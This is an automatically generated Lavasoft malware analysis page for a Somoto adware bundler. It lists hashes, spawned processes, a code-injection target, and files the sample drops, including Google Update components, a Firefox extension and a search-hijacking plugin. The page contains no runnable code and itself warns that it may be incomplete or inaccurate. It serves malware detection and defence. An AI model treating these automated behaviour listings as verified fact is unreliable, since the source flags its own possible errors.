Application.Bundler.Somoto.I_f730160cf5

by malwarelabrobot on February 12th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: f730160cf51d9436dafdc0d7e73723fb
SHA1: 7ec4a06a2af69fa9363a55e2e1e6bd422c61bfc3
SHA256: 606bac2ac77cc68db914d8ffae885a571dc55d5e041c2b3ca1824a5cd4ee854a
SSDeep: 3072:m22ihA0m3BJf0A3FbpnPTALqTDt2rvXBhvgRINLs1Ph6HeFvdFawr62D:ZA0m3T0A3FRAOVMvSINLs1Ph6Cr
Size: 163416 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

GoogleUpdate.exe:3664
GoogleUpdate.exe:3764
GoogleUpdate.exe:3212
GoogleUpdate.exe:1628
GoogleUpdate.exe:3124
GoogleUpdate.exe:536
GoogleUpdate.exe:2192
GoogleUpdate.exe:2368
GoogleUpdate.exe:916
GoogleUpdate.exe:1660
GoogleUpdateSetup.exe:3776
ProtectService.exe:3964
ProtectService.exe:3208
BaofengUpdate.exe:964
BaofengUpdate.exe:168
%original file name%.exe:3900
ProtectWindowsManager.exe:3856
ProtectWindowsManager.exe:3332
XTab_v4.0.exe:3324
Lexdja.exe:3672
GoogleUpdateComRegisterShell64.exe:3796
GoogleUpdateComRegisterShell64.exe:3060
GoogleUpdateComRegisterShell64.exe:556
TPAutoConnSvc.exe:1776
appshat.exe:1728
biclient.exe:2492
biclient.exe:3852
biclient.exe:1020
setup.exe:1644
wpm_v20.0.0.1714_0204.exe:3892
GoogleCrashHandler64.exe:3040
1D30.tmp:3428
0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:3268
powershell.exe:2576
powershell.exe:1956
powershell.exe:3536
appshat_generic.exe:3424
HPNotify.exe:3644
STab_Down_6.0.6.8.exe:3144
cmdshell.exe:1872
vlc-2.0.2-win32.exe:3452
webplayer_installer.exe:872
vlc-cache-gen.exe:2880
vlc.exe:1032
cscript.exe:3432
taskeng.exe:1784
GoogleCrashHandler.exe:3068

The Application injects its code into the following process(es):

WebPlayer.exe:3012

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process GoogleUpdate.exe:3764 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_et.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_iw.dll (72 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ro.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll (12490 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_da.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_el.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_bn.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_mr.dll (79 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_en.dll (40 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleCrashHandler.exe (3778 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_te.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_cs.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psuser.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psmachine_64.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ko.dll (70 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_zh-CN.dll (64 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ms.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ar.dll (72 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_th.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_zh-TW.dll (64 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_vi.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_tr.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_de.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe (105 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleCrashHandler64.exe (4210 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sv.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_am.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_lv.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_pl.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll (32380 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateWebPlugin.exe (105 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ta.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdate.exe (1738 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psuser_64.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\psmachine.dll (1954 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_id.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_nl.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_kn.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_pt-PT.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_it.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_lt.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fa.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fr.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_is.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_no.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.25.11 (28 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ml.dll (86 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_es-419.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateSetup.exe (20458 bytes)
C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job (902 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sw.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe (105 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_uk.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_hi.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ca.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_es.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_pt-BR.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fil.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_gu.dll (80 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sr.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ur.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_bg.dll (79 bytes)
C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job (898 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_fi.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateHelper.msi (56 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_hr.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ja.dll (71 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sk.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_hu.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_ru.dll (78 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_en.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_en-GB.dll (77 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\goopdateres_sl.dll (79 bytes)
%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateComRegisterShell64.exe (1738 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdate.dll (49 bytes)

The process GoogleUpdate.exe:1660 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\Google\Update\Install\{2D52D259-4879-496A-86B1-7ACEF326BE4F}\GoogleUpdateSetup.exe (7721 bytes)
%Program Files% (x86)\Google\Update\Download\{430FD4D0-B729-4F61-AA34-91526481799D}\1.3.26.9\GoogleUpdateSetup.exe (6841 bytes)

The process GoogleUpdateSetup.exe:3776 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\GUMF1D.tmp\goopdateres_fil.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_no.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\psuser_64.dll (188 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ja.dll (35 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_is.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateHelper.msi (28 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_nl.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fa.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleCrashHandler.exe (232 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateSetup.exe (6841 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_hr.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_zh-CN.dll (32 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_uk.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_en.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\psmachine_64.dll (188 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_hi.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdate.exe (217 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_th.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_pt-BR.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_vi.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_cs.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sv.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_el.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_mr.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_iw.dll (36 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_et.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_bg.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateComRegisterShell64.exe (115 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ar.dll (36 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_lv.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateWebPlugin.exe (52 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_kn.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_es.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_zh-TW.dll (32 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fi.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ta.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_am.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sw.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_te.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_gu.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ur.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ms.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_da.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ca.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_pt-PT.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_lt.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleCrashHandler64.exe (550 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ru.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\psmachine.dll (165 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_id.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_bn.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_es-419.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ml.dll (41 bytes)
%Program Files% (x86)\GUMF1D.tmp\npGoogleUpdate3.dll (838 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sl.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp (28 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateOnDemand.exe (52 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_en-GB.dll (37 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ro.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sr.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_it.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_fr.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_ko.dll (34 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_pl.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_de.dll (40 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_tr.dll (38 bytes)
%Program Files% (x86)\GUTF1E.tmp (6 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_hu.dll (39 bytes)
%Program Files% (x86)\GUMF1D.tmp\GoogleUpdateBroker.exe (52 bytes)
%Program Files% (x86)\GUMF1D.tmp\psuser.dll (165 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdateres_sk.dll (38 bytes)
%Program Files% (x86)\GUMF1D.tmp\goopdate.dll (2632 bytes)

The process ProtectService.exe:3964 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)

The process BaofengUpdate.exe:964 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\422.db (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)

The process BaofengUpdate.exe:168 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (15019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\59C4.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\59B3.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\remoterequest.js (2 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1423621851_xpi\chrome\skin\googlelogo.png (14 bytes)
